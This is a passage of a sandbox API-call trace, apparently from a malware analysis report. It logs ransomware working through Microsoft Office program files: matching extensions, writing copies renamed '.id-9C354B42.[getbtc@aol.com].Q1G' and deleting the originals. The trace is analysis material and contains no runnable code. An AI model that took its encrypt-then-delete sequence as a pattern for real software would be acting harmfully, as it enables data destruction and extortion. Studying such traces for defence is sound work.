lpString2="d.dll") returned -1 [0264.189] lstrlenW (lpString=".ppt") returned 4 [0264.189] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0264.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll") returned 53 [0264.189] lstrlenW (lpString=".zip") returned 4 [0264.189] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0264.189] lstrlenW (lpString=".rar") returned 4 [0264.189] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0264.189] lstrlenW (lpString=".bz2") returned 4 [0264.189] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0264.189] lstrlenW (lpString=".7z") returned 3 [0264.189] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0264.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll") returned 53 [0264.190] lstrlenW (lpString=".dbf") returned 4 [0264.190] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0264.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll") returned 53 [0264.190] lstrlenW (lpString=".1cd") returned 4 [0264.190] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0264.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll") returned 53 [0264.190] lstrlenW (lpString=".jpg") returned 4 [0264.190] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0264.190] lstrcmpiW (lpString1=".EXE", lpString2=".Q1G") returned -1 [0264.190] lstrlenW (lpString="GRAPH.EXE") returned 9 [0264.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.366] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=6437760) returned 1 [0264.366] CloseHandle (hObject=0x3d8) returned 1 [0264.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe")) returned 0x20 [0264.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.366] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0264.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE") returned 52 [0264.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE") returned 52 [0264.366] lstrlenW (lpString=".doc") returned 4 [0264.366] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0264.366] lstrlenW (lpString=".docx") returned 5 [0264.366] lstrcmpiW (lpString1=".docx", lpString2="H.EXE") returned -1 [0264.366] lstrlenW (lpString=".pdf") returned 4 [0264.366] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0264.366] lstrlenW (lpString=".xls") returned 4 [0264.366] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0264.366] lstrlenW (lpString=".xlsx") returned 5 [0264.366] lstrcmpiW (lpString1=".xlsx", lpString2="H.EXE") returned -1 [0264.367] lstrlenW (lpString=".ppt") returned 4 [0264.367] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0264.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE") returned 52 [0264.367] lstrlenW (lpString=".zip") returned 4 [0264.367] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0264.367] lstrlenW (lpString=".rar") returned 4 [0264.367] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0264.367] lstrlenW (lpString=".bz2") returned 4 [0264.367] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0264.367] lstrlenW (lpString=".7z") returned 3 [0264.367] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0264.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE") returned 52 [0264.367] lstrlenW (lpString=".dbf") returned 4 [0264.367] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0264.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE") returned 52 [0264.367] lstrlenW (lpString=".1cd") returned 4 [0264.367] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0264.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE") returned 52 [0264.367] lstrlenW (lpString=".jpg") returned 4 [0264.367] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0264.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE") returned 52 [0264.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE") returned 52 [0264.367] lstrlenW (lpString=".doc") returned 4 [0264.367] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0264.367] lstrlenW (lpString=".docx") returned 5 [0264.367] lstrcmpiW (lpString1=".docx", lpString2="H.EXE") returned -1 [0264.367] lstrlenW (lpString=".pdf") returned 4 [0264.367] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0264.367] lstrlenW (lpString=".xls") returned 4 [0264.367] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0264.367] lstrlenW (lpString=".xlsx") returned 5 [0264.367] lstrcmpiW (lpString1=".xlsx", lpString2="H.EXE") returned -1 [0264.367] lstrlenW (lpString=".ppt") returned 4 [0264.367] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0264.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE") returned 52 [0264.367] lstrlenW (lpString=".zip") returned 4 [0264.368] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0264.368] lstrlenW (lpString=".rar") returned 4 [0264.368] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0264.368] lstrlenW (lpString=".bz2") returned 4 [0264.368] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0264.368] lstrlenW (lpString=".7z") returned 3 [0264.368] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0264.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE") returned 52 [0264.368] lstrlenW (lpString=".dbf") returned 4 [0264.368] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0264.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE") returned 52 [0264.368] lstrlenW (lpString=".1cd") returned 4 [0264.368] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0264.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE") returned 52 [0264.368] lstrlenW (lpString=".jpg") returned 4 [0264.368] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0264.368] lstrcmpiW (lpString1=".manifest", lpString2=".Q1G") returned -1 [0264.368] lstrlenW (lpString="Graph.exe.manifest") returned 18 [0264.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.398] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=960) returned 1 [0264.398] CloseHandle (hObject=0x1f8) returned 1 [0264.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.manifest")) returned 0x20 [0264.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.manifest.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.469] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.469] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.manifest.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0264.470] GetLastError () returned 0x0 [0264.470] ReadFile (in: hFile=0x3d8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x3c0, lpOverlapped=0x0) returned 1 [0264.482] WriteFile (in: hFile=0x39c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x3d0, lpOverlapped=0x0) returned 1 [0264.482] ReadFile (in: hFile=0x3d8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.482] WriteFile (in: hFile=0x39c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0264.483] SetEndOfFile (hFile=0x39c) returned 1 [0264.609] CloseHandle (hObject=0x39c) returned 1 [0264.610] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.610] SetEndOfFile (hFile=0x3d8) returned 1 [0264.612] CloseHandle (hObject=0x3d8) returned 1 [0264.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.manifest")) returned 1 [0264.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest") returned 61 [0264.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest") returned 61 [0264.629] lstrlenW (lpString=".doc") returned 4 [0264.629] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0264.629] lstrlenW (lpString=".docx") returned 5 [0264.629] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0264.629] lstrlenW (lpString=".pdf") returned 4 [0264.630] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0264.630] lstrlenW (lpString=".xls") returned 4 [0264.630] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0264.630] lstrlenW (lpString=".xlsx") returned 5 [0264.630] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0264.630] lstrlenW (lpString=".ppt") returned 4 [0264.630] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0264.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest") returned 61 [0264.630] lstrlenW (lpString=".zip") returned 4 [0264.630] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0264.630] lstrlenW (lpString=".rar") returned 4 [0264.630] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0264.630] lstrlenW (lpString=".bz2") returned 4 [0264.630] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0264.630] lstrlenW (lpString=".7z") returned 3 [0264.630] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0264.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest") returned 61 [0264.630] lstrlenW (lpString=".dbf") returned 4 [0264.630] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0264.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest") returned 61 [0264.630] lstrlenW (lpString=".1cd") returned 4 [0264.630] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0264.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest") returned 61 [0264.630] lstrlenW (lpString=".jpg") returned 4 [0264.630] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0264.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest") returned 61 [0264.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest") returned 61 [0264.630] lstrlenW (lpString=".doc") returned 4 [0264.630] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0264.630] lstrlenW (lpString=".docx") returned 5 [0264.630] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0264.630] lstrlenW (lpString=".pdf") returned 4 [0264.630] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0264.630] lstrlenW (lpString=".xls") returned 4 [0264.630] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0264.630] lstrlenW (lpString=".xlsx") returned 5 [0264.631] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0264.631] lstrlenW (lpString=".ppt") returned 4 [0264.631] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0264.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest") returned 61 [0264.631] lstrlenW (lpString=".zip") returned 4 [0264.631] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0264.631] lstrlenW (lpString=".rar") returned 4 [0264.631] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0264.631] lstrlenW (lpString=".bz2") returned 4 [0264.631] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0264.631] lstrlenW (lpString=".7z") returned 3 [0264.631] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0264.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest") returned 61 [0264.631] lstrlenW (lpString=".dbf") returned 4 [0264.631] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0264.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest") returned 61 [0264.631] lstrlenW (lpString=".1cd") returned 4 [0264.631] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0264.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest") returned 61 [0264.631] lstrlenW (lpString=".jpg") returned 4 [0264.631] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0264.631] lstrcmpiW (lpString1=".fdt", lpString2=".Q1G") returned -1 [0264.631] lstrlenW (lpString="Process Library.fdt") returned 19 [0264.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\process library.fdt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.656] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=92979) returned 1 [0264.656] CloseHandle (hObject=0x3d8) returned 1 [0264.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\process library.fdt")) returned 0x20 [0264.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\process library.fdt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\process library.fdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0264.671] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.671] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\process library.fdt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0264.671] GetLastError () returned 0x0 [0264.671] ReadFile (in: hFile=0x1bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x16b33, lpOverlapped=0x0) returned 1 [0264.674] WriteFile (in: hFile=0x37c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x16b40, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x16b40, lpOverlapped=0x0) returned 1 [0264.677] ReadFile (in: hFile=0x1bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.677] WriteFile (in: hFile=0x37c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0264.677] SetEndOfFile (hFile=0x37c) returned 1 [0264.677] CloseHandle (hObject=0x37c) returned 1 [0264.677] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.677] SetEndOfFile (hFile=0x1bc) returned 1 [0264.680] CloseHandle (hObject=0x1bc) returned 1 [0264.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\process library.fdt")) returned 1 [0264.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt") returned 116 [0264.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt") returned 116 [0264.681] lstrlenW (lpString=".doc") returned 4 [0264.681] lstrcmpiW (lpString1=".doc", lpString2=".fdt") returned -1 [0264.681] lstrlenW (lpString=".docx") returned 5 [0264.681] lstrcmpiW (lpString1=".docx", lpString2="y.fdt") returned -1 [0264.681] lstrlenW (lpString=".pdf") returned 4 [0264.681] lstrcmpiW (lpString1=".pdf", lpString2=".fdt") returned 1 [0264.681] lstrlenW (lpString=".xls") returned 4 [0264.681] lstrcmpiW (lpString1=".xls", lpString2=".fdt") returned 1 [0264.681] lstrlenW (lpString=".xlsx") returned 5 [0264.681] lstrcmpiW (lpString1=".xlsx", lpString2="y.fdt") returned -1 [0264.681] lstrlenW (lpString=".ppt") returned 4 [0264.681] lstrcmpiW (lpString1=".ppt", lpString2=".fdt") returned 1 [0264.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt") returned 116 [0264.681] lstrlenW (lpString=".zip") returned 4 [0264.681] lstrcmpiW (lpString1=".zip", lpString2=".fdt") returned 1 [0264.681] lstrlenW (lpString=".rar") returned 4 [0264.681] lstrcmpiW (lpString1=".rar", lpString2=".fdt") returned 1 [0264.681] lstrlenW (lpString=".bz2") returned 4 [0264.681] lstrcmpiW (lpString1=".bz2", lpString2=".fdt") returned -1 [0264.681] lstrlenW (lpString=".7z") returned 3 [0264.681] lstrcmpiW (lpString1=".7z", lpString2="fdt") returned -1 [0264.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt") returned 116 [0264.682] lstrlenW (lpString=".dbf") returned 4 [0264.682] lstrcmpiW (lpString1=".dbf", lpString2=".fdt") returned -1 [0264.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt") returned 116 [0264.682] lstrlenW (lpString=".1cd") returned 4 [0264.682] lstrcmpiW (lpString1=".1cd", lpString2=".fdt") returned -1 [0264.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt") returned 116 [0264.682] lstrlenW (lpString=".jpg") returned 4 [0264.682] lstrcmpiW (lpString1=".jpg", lpString2=".fdt") returned 1 [0264.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt") returned 116 [0264.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt") returned 116 [0264.682] lstrlenW (lpString=".doc") returned 4 [0264.682] lstrcmpiW (lpString1=".doc", lpString2=".fdt") returned -1 [0264.682] lstrlenW (lpString=".docx") returned 5 [0264.682] lstrcmpiW (lpString1=".docx", lpString2="y.fdt") returned -1 [0264.682] lstrlenW (lpString=".pdf") returned 4 [0264.682] lstrcmpiW (lpString1=".pdf", lpString2=".fdt") returned 1 [0264.682] lstrlenW (lpString=".xls") returned 4 [0264.682] lstrcmpiW (lpString1=".xls", lpString2=".fdt") returned 1 [0264.682] lstrlenW (lpString=".xlsx") returned 5 [0264.682] lstrcmpiW (lpString1=".xlsx", lpString2="y.fdt") returned -1 [0264.682] lstrlenW (lpString=".ppt") returned 4 [0264.682] lstrcmpiW (lpString1=".ppt", lpString2=".fdt") returned 1 [0264.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt") returned 116 [0264.682] lstrlenW (lpString=".zip") returned 4 [0264.682] lstrcmpiW (lpString1=".zip", lpString2=".fdt") returned 1 [0264.682] lstrlenW (lpString=".rar") returned 4 [0264.682] lstrcmpiW (lpString1=".rar", lpString2=".fdt") returned 1 [0264.682] lstrlenW (lpString=".bz2") returned 4 [0264.682] lstrcmpiW (lpString1=".bz2", lpString2=".fdt") returned -1 [0264.682] lstrlenW (lpString=".7z") returned 3 [0264.682] lstrcmpiW (lpString1=".7z", lpString2="fdt") returned -1 [0264.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt") returned 116 [0264.682] lstrlenW (lpString=".dbf") returned 4 [0264.682] lstrcmpiW (lpString1=".dbf", lpString2=".fdt") returned -1 [0264.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt") returned 116 [0264.682] lstrlenW (lpString=".1cd") returned 4 [0264.682] lstrcmpiW (lpString1=".1cd", lpString2=".fdt") returned -1 [0264.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt") returned 116 [0264.683] lstrlenW (lpString=".jpg") returned 4 [0264.683] lstrcmpiW (lpString1=".jpg", lpString2=".fdt") returned 1 [0264.683] lstrcmpiW (lpString1=".fdt", lpString2=".Q1G") returned -1 [0264.683] lstrlenW (lpString="Status Report.fdt") returned 17 [0264.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\status report.fdt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.684] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=102061) returned 1 [0264.684] CloseHandle (hObject=0x3a0) returned 1 [0264.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\status report.fdt")) returned 0x20 [0264.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\status report.fdt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\status report.fdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.684] SetFilePointerEx (in: 